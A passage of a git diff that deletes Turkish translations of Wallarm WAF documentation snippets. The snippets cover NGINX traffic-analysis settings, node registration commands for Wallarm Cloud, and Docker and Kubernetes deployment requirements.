Node gelen trafiği analiz etmez. - -Trafik analizini ve meşru trafiğin proxy'lenmesini etkinleştirmek için, genellikle `/etc/nginx/sites-available/default` konumunda bulunan [NGINX yapılandırma dosyasını](https://docs.nginx.com/nginx/admin-guide/basic-functionality/managing-configuration-files/) güncelleyin. - -Aşağıdaki asgari yapılandırma ayarları gereklidir: - -1. Wallarm Node'u `wallarm_mode monitoring;` olarak ayarlayın. Bu mod, ilk dağıtımlar ve test için önerilir. - - Wallarm ayrıca blocking ve safe blocking gibi daha fazla modu destekler; bunlar hakkında [daha fazlasını okuyabilirsiniz][waf-mode-instr]. -1. Gerekli konumlara `proxy_pass` yönergesini ekleyerek düğümün meşru trafiği nereye ileteceğini belirleyin. Bu, bir uygulama sunucusunun IP'sine, bir yük dengeleyiciye veya bir DNS adına olabilir. -1. Varsa, trafiğin yerel dosya müdahalesi olmadan Wallarm'a yönlendirilmesini sağlamak için değiştirilen konumlardan `try_files` yönergesini kaldırın. - -```diff -server { - ... -+ wallarm_mode monitoring; - location / { -+ proxy_pass http://example.com; -- # try_files $uri $uri/ =404; - } - ... -} -``` \ No newline at end of file diff --git a/include-tr/waf/installation/common-steps-to-enable-traffic-analysis.md b/include-tr/waf/installation/common-steps-to-enable-traffic-analysis.md deleted file mode 100644 index ac0ac6450c..0000000000 --- a/include-tr/waf/installation/common-steps-to-enable-traffic-analysis.md +++ /dev/null @@ -1,67 +0,0 @@ -Varsayılan olarak, dağıtılmış Wallarm düğümü gelen trafiği analiz etmez. - -Seçilen Wallarm dağıtım yaklaşımına ([Hat içi][inline-docs] veya [Bant Dışı][oob-docs]) bağlı olarak, Wallarm'ı ya trafiği proxy üzerinden geçirmek ya da trafik yansısını işlemek için yapılandırın. - -Yüklü düğüm bulunan makinede `/etc/nginx/conf.d/default.conf` dosyasında aşağıdaki yapılandırmayı gerçekleştirin: - -=== "Hat içi" - 1. Wallarm'ın meşru trafiği ileteceği bir IP adresi belirleyin. Mimarinizdeki uygulama örneğinin IP’si, yük dengeleyici veya DNS adı vb. olabilir. - - Bunu yapmak için `proxy_pass` değerini düzenleyin, örn. Wallarm meşru istekleri `http://10.80.0.5` adresine göndermelidir: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - - ... - - location / { - proxy_pass http://10.80.0.5; - ... - } - } - ``` - 1. Wallarm düğümünün gelen trafiği analiz etmesi için `wallarm_mode` yönergesini `monitoring` olarak ayarlayın: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - wallarm_mode monitoring; - - ... - } - ``` - - İzleme modu, ilk dağıtım ve çözümün test edilmesi için önerilir. Wallarm ayrıca güvenli engelleme ve engelleme modlarını da sunar, [daha fazla bilgi edinin][waf-mode-instr]. -=== "Bant Dışı" - 1. Wallarm düğümünün yansıtılmış trafiği kabul etmesi için `server` NGINX bloğunda aşağıdaki yapılandırmayı ayarlayın: - - ``` - wallarm_force server_addr $http_x_server_addr; - wallarm_force server_port $http_x_server_port; - # 222.222.222.22 adresini yansıtma sunucusunun adresiyle değiştirin - set_real_ip_from 222.222.222.22; - real_ip_header X-Forwarded-For; - real_ip_recursive on; - wallarm_force response_status 0; - wallarm_force response_time 0; - wallarm_force response_size 0; - ``` - - * Wallarm Console’un [saldırganların IP adreslerini görüntüleyebilmesi][proxy-balancer-instr] için `set_real_ip_from` ve `real_ip_header` yönergeleri gereklidir. - * `wallarm_force_response_*` yönergeleri, yansıtılmış trafikten alınan kopyalar haricindeki tüm isteklerin analizini devre dışı bırakmak için gereklidir. - 1. Wallarm düğümünün yansıtılmış trafiği analiz etmesi için `wallarm_mode` yönergesini `monitoring` olarak ayarlayın: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - wallarm_mode monitoring; - - ... - } - ``` - - Kötü amaçlı istekler [engellenemez][oob-advantages-limitations] olduğundan, Wallarm’ın kabul ettiği tek [mod][waf-mode-instr] izleme modudur. Hat içi dağıtımda güvenli engelleme ve engelleme modları da vardır, ancak `wallarm_mode` yönergesini izleme dışında bir değere ayarlasanız bile, düğüm trafiği izlemeye ve yalnızca kötü amaçlı trafiği kaydetmeye devam eder (modun off olarak ayarlanması durumu hariç). \ No newline at end of file diff --git a/include-tr/waf/installation/connect-waf-and-cloud-4.0.md b/include-tr/waf/installation/connect-waf-and-cloud-4.0.md deleted file mode 100644 index bbfd191ac3..0000000000 --- a/include-tr/waf/installation/connect-waf-and-cloud-4.0.md +++ /dev/null @@ -1,31 +0,0 @@ -!!! info "Postanalytics modülü ayrı bir sunucuya kurulmuşsa" - İlk trafik işleme ve postanalytics modülleri ayrı sunuculara kurulmuşsa, bu modüllerin Wallarm Cloud’a aynı düğüm belirteci (node token) ile bağlanması önerilir. Wallarm Console UI her modülü ayrı bir düğüm örneği (instance) olarak görüntüler, örn.: - - ![Birden fazla örneğe sahip düğüm][img-node-with-several-instances] - - [Ayrı postanalytics modülü kurulumu][install-postanalytics-instr] sırasında Wallarm düğümü zaten oluşturulmuştur. İlk trafik işleme modülünü aynı düğüm kimlik bilgileriyle Cloud’a bağlamak için: - - 1. Ayrı postanalytics modülü kurulumu sırasında oluşturulan düğüm belirtecini kopyalayın. - 1. Aşağıdaki listedeki 4. adıma geçin. - -Wallarm düğümü, Wallarm Cloud ile etkileşim kurar. Filtreleme düğümünü Cloud’a bağlamak için: - -1. Wallarm Console → **Nodes** bölümünü [US Cloud](https://us1.my.wallarm.com/nodes) veya [EU Cloud](https://my.wallarm.com/nodes) üzerinde açın ve **Wallarm node** türünde bir düğüm oluşturun. - - ![Wallarm düğümü oluşturma][img-create-wallarm-node] -1. Oluşturulan belirteci kopyalayın. -1. Filtreleme düğümünü kuracağınız makinede `register-node` betiğini çalıştırın: - - === "US Cloud" - ``` bash - sudo /usr/share/wallarm-common/register-node -t -H us1.api.wallarm.com - ``` - === "EU Cloud" - ``` bash - sudo /usr/share/wallarm-common/register-node -t - ``` - - `` kopyalanan belirteç değeridir. - - !!! info "Postanalytics modülü ayrı bir sunucuya kurulmuşsa" - Postanalytics modülü ayrı bir sunucuya kurulmuşsa, [ayrı postanalytics modülü kurulumu][install-postanalytics-instr] sırasında oluşturulan düğüm belirtecini kullanmanız önerilir. \ No newline at end of file diff --git a/include-tr/waf/installation/connect-waf-and-cloud-4.4-only-with-postanalytics.md b/include-tr/waf/installation/connect-waf-and-cloud-4.4-only-with-postanalytics.md deleted file mode 100644 index 277bf752cc..0000000000 --- a/include-tr/waf/installation/connect-waf-and-cloud-4.4-only-with-postanalytics.md +++ /dev/null @@ -1,21 +0,0 @@ -Filtreleme düğümü, Wallarm Cloud ile etkileşir. Düğümü Wallarm Cloud'a bağlamak için: - -1. [US Cloud](https://us1.my.wallarm.com/nodes) veya [EU Cloud](https://my.wallarm.com/nodes) içinde Wallarm Console → **Nodes** bölümünü açın ve **Wallarm node** türünde düğüm oluşturun. - - ![Wallarm node oluşturma][img-create-wallarm-node] -1. Oluşturulan token'ı kopyalayın. -1. Filtreleme düğümünü kurduğunuz makinede `register-node` betiğini çalıştırın: - - === "US Cloud" - ``` bash - sudo /usr/share/wallarm-common/register-node -t -H us1.api.wallarm.com - ``` - === "EU Cloud" - ``` bash - sudo /usr/share/wallarm-common/register-node -t - ``` - - ``, kopyaladığınız token değeridir. - - !!! info "Birden çok kurulum için tek bir token kullanma" - Seçilen [platform][deployment-platform-docs] ne olursa olsun, birden çok kurulumda tek bir token kullanabilirsiniz. Bu, Wallarm Console UI içinde düğüm örneklerinin mantıksal olarak gruplanmasını sağlar. Örnek: bir geliştirme ortamına birden fazla Wallarm node dağıtırsınız, her node, belirli bir geliştiriciye ait kendi makinesindedir. \ No newline at end of file diff --git a/include-tr/waf/installation/connect-waf-and-cloud-4.4.md b/include-tr/waf/installation/connect-waf-and-cloud-4.4.md deleted file mode 100644 index a56a05a152..0000000000 --- a/include-tr/waf/installation/connect-waf-and-cloud-4.4.md +++ /dev/null @@ -1,33 +0,0 @@ -Wallarm düğümü, Wallarm Cloud ile etkileşim kurar. Filtreleme düğümünü Cloud'a bağlamak için: - -1. [postanalytics modülü ayrı kurulmuşsa][install-postanalytics-instr]: - - 1. Ayrı postanalytics modülü kurulumu sırasında oluşturulan düğüm jetonunu kopyalayın. - 1. Aşağıdaki listenin 5. adımına geçin. İlk trafiği işleyen düğüm ile postanalizi gerçekleştiren düğüm için tek bir jeton kullanmanız önerilir. -1. Wallarm Console → **Nodes** bölümünü [ABD Cloud](https://us1.my.wallarm.com/nodes) veya [AB Cloud](https://my.wallarm.com/nodes) üzerinde açın ve **Wallarm node** türünde düğüm oluşturun. - - ![Wallarm düğümü oluşturma][img-create-wallarm-node] -1. Oluşturulan jetonu kopyalayın. -1. Filtreleme düğümünü kurduğunuz makinede `register-node` betiğini çalıştırın: - - === "ABD Cloud" - ``` bash - sudo /usr/share/wallarm-common/register-node -t -H us1.api.wallarm.com - ``` - === "AB Cloud" - ``` bash - sudo /usr/share/wallarm-common/register-node -t - ``` - - * ``, kopyalanan jeton değeridir. - * Düğüm örneğiniz için özel bir ad belirlemek üzere `-n ` parametresini ekleyebilirsiniz. Son örnek adı şu olacaktır: `HOST_NAME_NodeUUID`. - -!!! info "Birden çok kurulum için tek jeton kullanma" - Seçilen dağıtım seçeneğinden bağımsız olarak tek bir jeton kullanarak birden fazla Wallarm düğümünü Cloud'a bağlayabilirsiniz. Bu seçenek, Wallarm Console arayüzünde düğüm örneklerinin mantıksal olarak gruplandırılmasına olanak tanır: - - ![Birden çok örneğe sahip düğüm][img-node-with-several-instances] - - Aşağıda, birden çok kurulum için tek bir jeton kullanmayı tercih edebileceğiniz bazı örnekler verilmiştir: - - * Bir geliştirme ortamına birkaç Wallarm düğümü dağıtıyorsunuz; her düğüm, belirli bir geliştiriciye ait kendi makinesinde bulunuyor - * İlk trafik işleme düğümleri ile postanalytics modülleri ayrı sunuculara kuruludur - bu modüllerin Wallarm Cloud'a aynı düğüm jetonunu kullanarak bağlanması önerilir \ No newline at end of file diff --git a/include-tr/waf/installation/connect-waf-and-cloud-4.6-only-with-postanalytics.md b/include-tr/waf/installation/connect-waf-and-cloud-4.6-only-with-postanalytics.md deleted file mode 100644 index a6210f61b1..0000000000 --- a/include-tr/waf/installation/connect-waf-and-cloud-4.6-only-with-postanalytics.md +++ /dev/null @@ -1,47 +0,0 @@ -Wallarm filtreleme düğümü, Wallarm Cloud ile etkileşime girer. Düğümü Cloud’a bağlamanız gerekir. - -Düğümü Cloud’a bağlarken, düğümün Wallarm Console UI içinde görüntüleneceği adını belirleyebilir ve düğümü uygun **node group**’a yerleştirebilirsiniz (UI içinde düğümleri mantıksal olarak düzenlemek için kullanılır). - -![Gruplandırılmış düğümler][img-grouped-nodes] - -Düğümü Cloud’a bağlamak için, [uygun türde][wallarm-token-types] bir Wallarm token’ı kullanın: - -=== "API token'ı" - - 1. Wallarm Console → **Settings** → **API tokens** yolunu [US Cloud](https://us1.my.wallarm.com/settings/api-tokens) veya [EU Cloud](https://my.wallarm.com/settings/api-tokens) içinde açın. - 1. `Node deployment/Deployment` kullanım türüne sahip bir API token bulun veya oluşturun. - 1. Bu token'ı kopyalayın. - 1. Filtreleme düğümünü kurduğunuz makinede `register-node` komut dosyasını çalıştırın: - - === "US Cloud" - ``` bash - sudo /usr/share/wallarm-common/register-node -t --labels 'group=' -H us1.api.wallarm.com - ``` - === "EU Cloud" - ``` bash - sudo /usr/share/wallarm-common/register-node -t --labels 'group=' - ``` - - * ``, `Deploy` rolüne sahip API token'ın kopyalanmış değeridir. - * `--labels 'group='` parametresi düğümünüzü `` node group’una yerleştirir (mevcutsa o grup kullanılır, mevcut değilse oluşturulur). - -=== "Node token'ı" - - 1. Wallarm Console → **Nodes** yolunu [US Cloud](https://us1.my.wallarm.com/nodes) veya [EU Cloud](https://my.wallarm.com/nodes) içinde açın. - 1. Şunlardan birini yapın: - * "Wallarm node" türünde düğümü oluşturun ve üretilen token'ı kopyalayın. - * Mevcut node group'u kullanın - node's menu → **Copy token** ile token'ı kopyalayın. - 1. Filtreleme düğümünü kurduğunuz makinede `register-node` komut dosyasını çalıştırın: - - === "US Cloud" - ``` bash - sudo /usr/share/wallarm-common/register-node -t -H us1.api.wallarm.com - ``` - === "EU Cloud" - ``` bash - sudo /usr/share/wallarm-common/register-node -t - ``` - - * ``, node token'ının kopyalanmış değeridir. - -* Düğüm örneğinize özel bir ad atamak için `-n ` parametresini ekleyebilirsiniz. Son örnek adı şu olacaktır: `HOST_NAME_NodeUUID`. \ No newline at end of file diff --git a/include-tr/waf/installation/connect-waf-and-cloud-4.6.md b/include-tr/waf/installation/connect-waf-and-cloud-4.6.md deleted file mode 100644 index 67a3264504..0000000000 --- a/include-tr/waf/installation/connect-waf-and-cloud-4.6.md +++ /dev/null @@ -1,47 +0,0 @@ -Wallarm filtreleme düğümü, Wallarm Cloud ile etkileşime geçer. Düğümü Cloud'a bağlamanız gerekir. - -Düğümü Cloud'a bağlarken, Wallarm Console UI'da görüntüleneceği düğüm adını belirleyebilir ve düğümü uygun **düğüm grubuna** (UI'da düğümleri mantıksal olarak düzenlemek için kullanılır) koyabilirsiniz. - -![Gruplandırılmış düğümler][img-grouped-nodes] - -Düğümü Cloud'a bağlamak için, [uygun türde][wallarm-token-types] bir Wallarm token'ı kullanın: - -=== "API belirteci" - - 1. Wallarm Console → **Settings** → **API tokens** bölümünü [US Cloud](https://us1.my.wallarm.com/settings/api-tokens) veya [EU Cloud](https://my.wallarm.com/settings/api-tokens) içinde açın. - 1. `Node deployment/Deployment` kullanım türüne sahip API token'ını bulun veya oluşturun. - 1. Bu token'ı kopyalayın. - 1. Filtreleme düğümünü kurduğunuz makinede `register-node` betiğini çalıştırın: - - === "US Cloud" - ``` bash - sudo /usr/share/wallarm-common/register-node -t --labels 'group=' -H us1.api.wallarm.com - ``` - === "EU Cloud" - ``` bash - sudo /usr/share/wallarm-common/register-node -t --labels 'group=' - ``` - - * ``, `Deploy` rolüne sahip API token'ının kopyalanmış değeridir. - * `--labels 'group='` parametresi, düğümünüzü `` düğüm grubuna yerleştirir (mevcut ise kullanılır, değilse oluşturulur). Filtreleme ve postanalytics modüllerini [ayrı ayrı][install-postanalytics-instr] kuruyorsanız, bunları aynı gruba koymanız önerilir. - -=== "Düğüm belirteci" - - 1. Wallarm Console → **Nodes** bölümünü [US Cloud](https://us1.my.wallarm.com/nodes) veya [EU Cloud](https://my.wallarm.com/nodes) içinde açın. - 1. Şunlardan birini yapın: - * **Wallarm node** türünde bir düğüm oluşturun ve oluşturulan token'ı kopyalayın. - * Mevcut düğüm grubunu kullanın - düğümün menüsünden → **Copy token** ile token'ı kopyalayın. - 1. Filtreleme düğümünü kurduğunuz makinede `register-node` betiğini çalıştırın: - - === "US Cloud" - ``` bash - sudo /usr/share/wallarm-common/register-node -t -H us1.api.wallarm.com - ``` - === "EU Cloud" - ``` bash - sudo /usr/share/wallarm-common/register-node -t - ``` - - * ``, düğüm token'ının kopyalanmış değeridir. Filtreleme ve postanalytics modüllerini [ayrı ayrı][install-postanalytics-instr] kuruyorsanız, aynı düğüm token'ını kullanarak bunları aynı gruba koymanız önerilir. - -* Düğüm örneğiniz için özel bir ad ayarlamak üzere `-n ` parametresini ekleyebilirsiniz. Son örnek adı şu şekilde olacaktır: `HOST_NAME_NodeUUID`. \ No newline at end of file diff --git a/include-tr/waf/installation/connect-waf-and-cloud-for-cloud-images.md b/include-tr/waf/installation/connect-waf-and-cloud-for-cloud-images.md deleted file mode 100644 index 258764c692..0000000000 --- a/include-tr/waf/installation/connect-waf-and-cloud-for-cloud-images.md +++ /dev/null @@ -1,35 +0,0 @@ -Seçilen Wallarm dağıtım yaklaşımına ([Hat içi][inline-docs] veya [Bant Dışı][oob-docs]) bağlı olarak, örneği Wallarm Cloud'a kaydetmek için farklı komutlar kullanılır. - -=== "Hat içi" - Bulut örneğinin düğümü [cloud-init.py][cloud-init-spec] betiği aracılığıyla Wallarm Cloud'a bağlanır. Bu betik, sağlanan bir token kullanarak düğümü Wallarm Cloud'a kaydeder, genel olarak izleme [modu][wallarm-mode]na ayarlar ve düğümü meşru trafiği `--proxy-pass` bayrağına göre iletecek şekilde yapılandırır. NGINX'in yeniden başlatılması kurulumu tamamlar. - - Bulut imajından oluşturulan örnekte `cloud-init.py` betiğini aşağıdaki gibi çalıştırın: - - === "US Cloud" - ``` bash - sudo env WALLARM_LABELS='group=' /opt/wallarm/usr/share/wallarm-common/cloud-init.py -t -m monitoring --proxy-pass -H us1.api.wallarm.com - ``` - === "EU Cloud" - ``` bash - sudo env WALLARM_LABELS='group=' /opt/wallarm/usr/share/wallarm-common/cloud-init.py -t -m monitoring --proxy-pass - ``` - - * `WALLARM_LABELS='group='`, bir düğüm grup adını ayarlar (varsa mevcut; yoksa oluşturulacaktır). Yalnızca bir API token kullanılıyorsa uygulanır. - * ``, kopyaladığınız token değeridir. - * ``, Wallarm düğümünün meşru trafiği ileteceği adresidir. Mimarinizine bağlı olarak bir uygulama örneğinin IP'si, yük dengeleyici veya DNS adı vb. olabilir. -=== "Bant Dışı" - Bulut örneğinin düğümü [cloud-init.py][cloud-init-spec] betiği aracılığıyla Wallarm Cloud'a bağlanır. Bu betik, sağlanan bir token kullanarak düğümü Wallarm Cloud'a kaydeder, genel olarak izleme [modu][wallarm-mode]na ayarlar ve yalnızca yansıtılmış trafik kopyalarını analiz etmek için NGINX'in `location /` bloğunda [`wallarm_force`][wallarm_force_directive] yönergelerini ayarlar. NGINX'in yeniden başlatılması kurulumu tamamlar. - - Bulut imajından oluşturulan örnekte `cloud-init.py` betiğini aşağıdaki gibi çalıştırın: - - === "US Cloud" - ``` bash - sudo env WALLARM_LABELS='group=' /opt/wallarm/usr/share/wallarm-common/cloud-init.py -t -m monitoring -p mirror -H us1.api.wallarm.com - ``` - === "EU Cloud" - ``` bash - sudo env WALLARM_LABELS='group=' /opt/wallarm/usr/share/wallarm-common/cloud-init.py -t -m monitoring -p mirror - ``` - - * `WALLARM_LABELS='group='`, bir düğüm grup adını ayarlar (varsa mevcut; yoksa oluşturulacaktır). Yalnızca bir API token kullanılıyorsa uygulanır. - * ``, kopyaladığınız token değeridir. \ No newline at end of file diff --git a/include-tr/waf/installation/connect-waf-and-cloud.md b/include-tr/waf/installation/connect-waf-and-cloud.md deleted file mode 100644 index 340ec6f971..0000000000 --- a/include-tr/waf/installation/connect-waf-and-cloud.md +++ /dev/null @@ -1,23 +0,0 @@ -Wallarm node, Wallarm Cloud ile etkileşime girer. Filtreleme düğümünü Cloud'a bağlamak için aşağıdaki adımları izleyin: - -1. Wallarm hesabınızda, Wallarm Console içinde **Administrator** veya **Deploy** rolünün etkin ve two-factor authentication'ın devre dışı olduğundan emin olun. - - Bu ayarları, [US Cloud](https://us1.my.wallarm.com/settings/users) veya [EU Cloud](https://my.wallarm.com/settings/users) içindeki users list sayfasına giderek kontrol edebilirsiniz. - - ![Wallarm Console'da kullanıcı listesi][img-wl-console-users] - -2. Wallarm node yüklü olan bir sistemde `addnode` betiğini çalıştırın: - - === "US Cloud" - ``` bash - sudo /usr/share/wallarm-common/addnode -H us1.api.wallarm.com - ``` - === "EU Cloud" - ``` bash - sudo /usr/share/wallarm-common/addnode - ``` -3. Wallarm Console içindeki hesabınız için e-posta ve parolayı girin. -4. Filtreleme düğümünün adını girin veya otomatik olarak oluşturulan adı kullanmak için Enter tuşuna basın. - - Belirtilen ad daha sonra Wallarm Console → Nodes içinde değiştirilebilir. -5. [US Cloud](https://us1.my.wallarm.com/nodes) veya [EU Cloud](https://my.wallarm.com/nodes) içindeki Wallarm Console → Nodes bölümünü açın ve yeni bir filtreleme düğümünün listeye eklendiğinden emin olun. \ No newline at end of file diff --git a/include-tr/waf/installation/connectors/native-node-limitations.md b/include-tr/waf/installation/connectors/native-node-limitations.md deleted file mode 100644 index b598d821a7..0000000000 --- a/include-tr/waf/installation/connectors/native-node-limitations.md +++ /dev/null @@ -1,4 +0,0 @@ -* [Helm chart][helm-chart-native-node] kullanılarak `LoadBalancer` türüyle Wallarm servisinin dağıtımı yapılırken, alan adı için **güvenilir** bir SSL/TLS sertifikası gereklidir. Kendinden imzalı sertifikalar henüz desteklenmiyor. -* [Özel engelleme sayfası ve engelleme kodu][custom-blocking-page] yapılandırmaları henüz desteklenmiyor. -* Wallarm kuralı ile [Oran sınırlama][rate-limiting] desteklenmiyor. -* [Çok kiracılılık][multi-tenancy] henüz desteklenmiyor. \ No newline at end of file diff --git a/include-tr/waf/installation/docker-images/envoy-based-use-cases.md b/include-tr/waf/installation/docker-images/envoy-based-use-cases.md deleted file mode 100644 index bb5814c0c3..0000000000 --- a/include-tr/waf/installation/docker-images/envoy-based-use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -Desteklenen tüm [Wallarm dağıtım seçenekleri][supported-deployments] arasında, aşağıdaki **kullanım durumlarında** Wallarm dağıtımı için Envoy tabanlı Docker imajı önerilir: - -* Kuruluşunuz Docker tabanlı bir altyapı kullanıyorsa, Wallarm Docker imajı ideal seçimdir. AWS ECS, Alibaba ECS veya benzeri hizmetler üzerinde çalışan mikroservis mimarisi kullanıyor olun ya da olmayın, mevcut kurulumunuza zahmetsizce entegre olur. Bu çözüm, yönetimi Docker konteynerleri üzerinden daha sadeleştirilmiş şekilde yapmak isteyen sanal makine kullanıcıları için de uygundur. -* Her bir konteyner üzerinde ayrıntılı düzeyde kontrol gerekiyorsa, Docker imajı öne çıkar. Geleneksel sanal makine (VM) tabanlı dağıtımlarda tipik olarak mümkün olandan daha yüksek düzeyde kaynak izolasyonu sağlar. \ No newline at end of file diff --git a/include-tr/waf/installation/docker-images/envoy-requirements.md b/include-tr/waf/installation/docker-images/envoy-requirements.md deleted file mode 100644 index dfd0813e8b..0000000000 --- a/include-tr/waf/installation/docker-images/envoy-requirements.md +++ /dev/null @@ -1,7 +0,0 @@ -* Ana sisteminizde [Docker](https://docs.docker.com/engine/install/) kurulu -* Docker imajını indirmek için `https://hub.docker.com/r/wallarm/envoy` adresine erişim. Lütfen erişimin bir güvenlik duvarı tarafından engellenmediğinden emin olun -* Wallarm Console içinde [US Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) üzerinde **Administrator** rolüne sahip hesaba erişim -* US Wallarm Cloud ile çalışıyorsanız `https://us1.api.wallarm.com` adresine veya EU Wallarm Cloud ile çalışıyorsanız `https://api.wallarm.com` adresine erişim. Lütfen erişimin bir güvenlik duvarı tarafından engellenmediğinden emin olun -* Aşağıdaki IP adreslerine erişim: saldırı tespit kuralları güncellemelerini indirmek ve [izinli listede, engelli listede veya gri listede][ip-lists-docs] bulunan ülke, bölge veya veri merkezleriniz için kesin IP’leri almak üzere - - --8<-- "../include/wallarm-cloud-ips.md" \ No newline at end of file diff --git a/include-tr/waf/installation/docker-images/nginx-based-use-cases.md b/include-tr/waf/installation/docker-images/nginx-based-use-cases.md deleted file mode 100644 index 586fc61be3..0000000000 --- a/include-tr/waf/installation/docker-images/nginx-based-use-cases.md +++ /dev/null @@ -1,6 +0,0 @@ -Desteklenen tüm [Wallarm dağıtım seçenekleri][platform] arasında, NGINX tabanlı Docker imajı aşağıdaki kullanım durumlarında Wallarm dağıtımı için önerilir: - -* Kuruluşunuz Docker tabanlı bir altyapı kullanıyorsa, Wallarm Docker imajı ideal seçenektir. AWS ECS, Alibaba ECS veya benzeri hizmetlerde çalışan bir mikro hizmet mimarisi kullanıyor olun ya da sanal makineler üzerinde çalışıyor olun, mevcut kurulumunuza zahmetsizce entegre olur. Bu çözüm, sanal makineler kullanıp yönetimi Docker konteynerleri aracılığıyla daha sade bir şekilde yapmak isteyenler için de uygundur. -* Her bir konteyner üzerinde ince ayarlı kontrol gerekiyorsa, Docker imajı öne çıkar. Geleneksel VM tabanlı dağıtımlarda tipik olarak mümkün olandan daha yüksek düzeyde kaynak izolasyonu sağlar. - -Wallarm'ın NGINX tabanlı Docker imajını popüler genel bulut konteyner orkestrasyon hizmetlerinde çalıştırma hakkında daha fazla bilgi için şu kılavuzlarımıza bakın: [AWS ECS][aws-ecs-docs], [GCP GCE][gcp-gce-docs], [Azure Container Instances][azure-container-docs], [Alibaba ECS][alibaba-ecs-docs]. \ No newline at end of file diff --git a/include-tr/waf/installation/docker-running-options.md b/include-tr/waf/installation/docker-running-options.md deleted file mode 100644 index b4a80b83f2..0000000000 --- a/include-tr/waf/installation/docker-running-options.md +++ /dev/null @@ -1,4 +0,0 @@ -Filtreleme düğümü yapılandırma parametreleri, dağıtılmış Docker konteynerine aşağıdaki yollardan biriyle iletilmelidir: - -* **Ortam değişkenlerinde**. Bu seçenek yalnızca temel filtreleme düğümü parametrelerinin yapılandırılmasına olanak tanır. [direktifler][nginx-waf-directives]in çoğu ortam değişkenleri aracılığıyla yapılandırılamaz. -* **Bağlanmış yapılandırma dosyasında**. Bu seçenek, herhangi bir [direktif][nginx-waf-directives] aracılığıyla filtreleme düğümünün tam yapılandırılmasına olanak tanır. Bu yapılandırma yöntemiyle, filtreleme düğümü ve Wallarm Cloud bağlantı ayarlarını içeren ortam değişkenleri de konteynere iletilir. \ No newline at end of file diff --git a/include-tr/waf/installation/get-api-or-node-token.md b/include-tr/waf/installation/get-api-or-node-token.md deleted file mode 100644 index c948f61cfa..0000000000 --- a/include-tr/waf/installation/get-api-or-node-token.md +++ /dev/null @@ -1,14 +0,0 @@ -1. [Uygun türdeki][wallarm-token-types] Wallarm jetonunu alın: - - === "API jetonu" - - 1. Wallarm Console → **Settings** → **API tokens** bölümünü [US Cloud](https://us1.my.wallarm.com/settings/api-tokens) veya [EU Cloud](https://my.wallarm.com/settings/api-tokens) içinde açın. - 1. Kullanım türü `Node deployment/Deployment` olan bir API jetonu bulun veya oluşturun. - 1. Bu jetonu kopyalayın. - - === "Düğüm jetonu" - - 1. Wallarm Console → **Nodes** bölümünü [US Cloud](https://us1.my.wallarm.com/nodes) veya [EU Cloud](https://my.wallarm.com/nodes) içinde açın. - 1. Aşağıdakilerden birini yapın: - * **Wallarm node** türünde bir düğüm oluşturun ve oluşturulan jetonu kopyalayın. - * Mevcut düğüm grubunu kullanın - jetonu düğümün menüsünden → **Copy token** kullanarak kopyalayın. \ No newline at end of file diff --git a/include-tr/waf/installation/info-about-nginx-version-in-docker-container.md b/include-tr/waf/installation/info-about-nginx-version-in-docker-container.md deleted file mode 100644 index 5618cbe006..0000000000 --- a/include-tr/waf/installation/info-about-nginx-version-in-docker-container.md +++ /dev/null @@ -1,2 +0,0 @@ -!!! info "Docker konteynerinde NGINX sürümü" - Docker konteyneri `1.14.x` sürümündeki NGINX'i kullanır. Bu NGINX sürümünde bazı güvenlik açıkları tespit edebilirsiniz, ancak bunların çoğu aslında [Debian ekibi tarafından yamalanmıştır](https://security-tracker.debian.org/tracker/source-package/nginx). Docker konteyneri servisleri Debian 10.x üzerinde çalıştırır, bu nedenle tespit edilen güvenlik açıkları veri ihlaliyle sonuçlanmamalıdır. \ No newline at end of file diff --git a/include-tr/waf/installation/info-about-using-one-token-for-several-nodes.md b/include-tr/waf/installation/info-about-using-one-token-for-several-nodes.md deleted file mode 100644 index f1a8d28a4d..0000000000 --- a/include-tr/waf/installation/info-about-using-one-token-for-several-nodes.md +++ /dev/null @@ -1,2 +0,0 @@ -!!! info "Birden fazla kurulum için tek bir token kullanma" - Seçilen [platform][deployment-platform-docs] ne olursa olsun, bir token'ı birden fazla kurulumda kullanabilirsiniz. Bu, Wallarm Console UI içinde düğüm örneklerinin mantıksal olarak gruplanmasını sağlar. Örnek: bir geliştirme ortamına birden fazla Wallarm düğümü dağıtırsınız; her düğüm, belirli bir geliştiriciye ait kendi makinesinde bulunur. \ No newline at end of file diff --git a/include-tr/waf/installation/kong-ingress-controller-reqs.md b/include-tr/waf/installation/kong-ingress-controller-reqs.md deleted file mode 100644 index 4d95821b1b..0000000000 --- a/include-tr/waf/installation/kong-ingress-controller-reqs.md +++ /dev/null @@ -1,11 +0,0 @@ -* Kubernetes platformu sürüm 1.22-1.26 -* Korumak istediğiniz mikro hizmetlere API çağrılarını yönlendirmesi için Kong'u yapılandıran K8s Ingress kaynakları -* K8s Ingress kaynaklarının Kong 3.1.x ile uyumluluğu -* [Helm v3](https://helm.sh/) paket yöneticisi -* US Wallarm Cloud ile çalışmak için `https://us1.api.wallarm.com` veya EU Wallarm Cloud ile çalışmak için `https://api.wallarm.com` erişimi -* Wallarm Helm chart'larını eklemek için `https://charts.wallarm.com` erişimi -* Docker Hub'daki Wallarm depolarına `https://hub.docker.com/r/wallarm` üzerinden erişim -* Saldırı tespit kurallarının güncellemelerini indirmek ve [allowlist'te, denylist'te veya graylist'te][ip-lists-docs] bulunan ülke, bölge veya veri merkezleriniz için kesin IP'leri almak amacıyla aşağıdaki IP adreslerine erişim - - --8<-- "../include/wallarm-cloud-ips.md" -* Wallarm Console'da [US Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) için **Administrator** rolüne sahip hesaba erişim \ No newline at end of file diff --git a/include-tr/waf/installation/linux-packages/common-customization-options.md b/include-tr/waf/installation/linux-packages/common-customization-options.md deleted file mode 100644 index 9d66b0bef7..0000000000 --- a/include-tr/waf/installation/linux-packages/common-customization-options.md +++ /dev/null @@ -1,6 +0,0 @@ -* [Wallarm düğümleri için kaynakların ayrılması][memory-instr] -* [Wallarm düğümü değişkenlerinin günlüğe kaydedilmesi][logging-instr] -* [Filtreleme düğümünün arkasındaki proxy sunucusunun yük dengeleyicisinin kullanılması][proxy-balancer-instr] -* [Tek bir isteğin işlenme süresinin `wallarm_process_time_limit` yönergesinde sınırlandırılması][process-time-limit-instr] -* [NGINX yönergesi `proxy_read_timeout` içinde sunucu yanıtı bekleme süresinin 